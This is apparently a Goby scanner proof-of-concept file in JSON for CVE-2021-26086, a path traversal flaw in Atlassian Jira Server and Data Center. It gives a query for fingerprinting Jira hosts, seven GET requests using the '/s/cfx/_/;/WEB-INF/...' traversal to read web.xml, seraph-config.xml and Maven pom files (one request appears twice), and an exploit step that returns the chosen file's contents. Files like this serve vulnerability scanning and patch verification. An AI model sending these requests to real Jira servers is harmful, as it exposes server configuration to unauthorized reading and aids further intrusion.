{
      "Name": "Atlassian Jira Path Traversal CVE-2021-26086",
      "Level": "1",
      "Tags": [
            "pathtraversal"
      ],
      "GobyQuery": "app=\"jira\" || product=\"JIRA\" || body=\"jira\"",
      "Description": "JIRA is a defect tracking management system developed by Atlassian, Australia, for commercial applications for defect management, task tracking, and project management.The name JIRA is not an abbreviation, but a truncation of the Japanese Gojira pronunciation.",
      "Product": "Atlassian Jira",
      "Homepage": "https://www.atlassian.com/",
      "Author": "",
      "Impact": "Affected versions of Atlassian Jira Server and Data Center allow remote attackers to read particular files via a path traversal vulnerability in the /WEB-INF/web.xml endpoint. The affected versions are before version 8.5.14, from version 8.6.0 before 8.13.6, and from version 8.14.0 before 8.16.1.",
      "Recommendation": "https://jira.atlassian.com/browse/JRASERVER-72695",
      "References": [
            "https://nvd.nist.gov/vuln/detail/CVE-2021-26086",
            "https://jira.atlassian.com/browse/JRASERVER-72695"
      ],
      "HasExp": true,
      "ExpParams": [
            {
                  "Name": "Path",
                  "Type": "select",
                  "Value": "/s/cfx/_/;/WEB-INF/web.xml,/s/cfx/_/;/WEB-INF/decorators.xml,/s/cfx/_/;/WEB-INF/classes/seraph-config.xml,/s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties,/s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml,/s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml,/s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties"
            }
      ],
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "OR",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/s/cfx/_/;/WEB-INF/web.xml",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "jira",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/s/cfx/_/;/WEB-INF/decorators.xml",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "jira",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/s/cfx/_/;/WEB-INF/classes/seraph-config.xml",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "jira",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "jira",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "jira",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "jira",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "jira",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "{{{Path}}}",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|concat|"
                  ]
            }
      ],
      "PostTime": "0000-00-00 00:00:00",
      "GobyVersion": "0.0.0"
}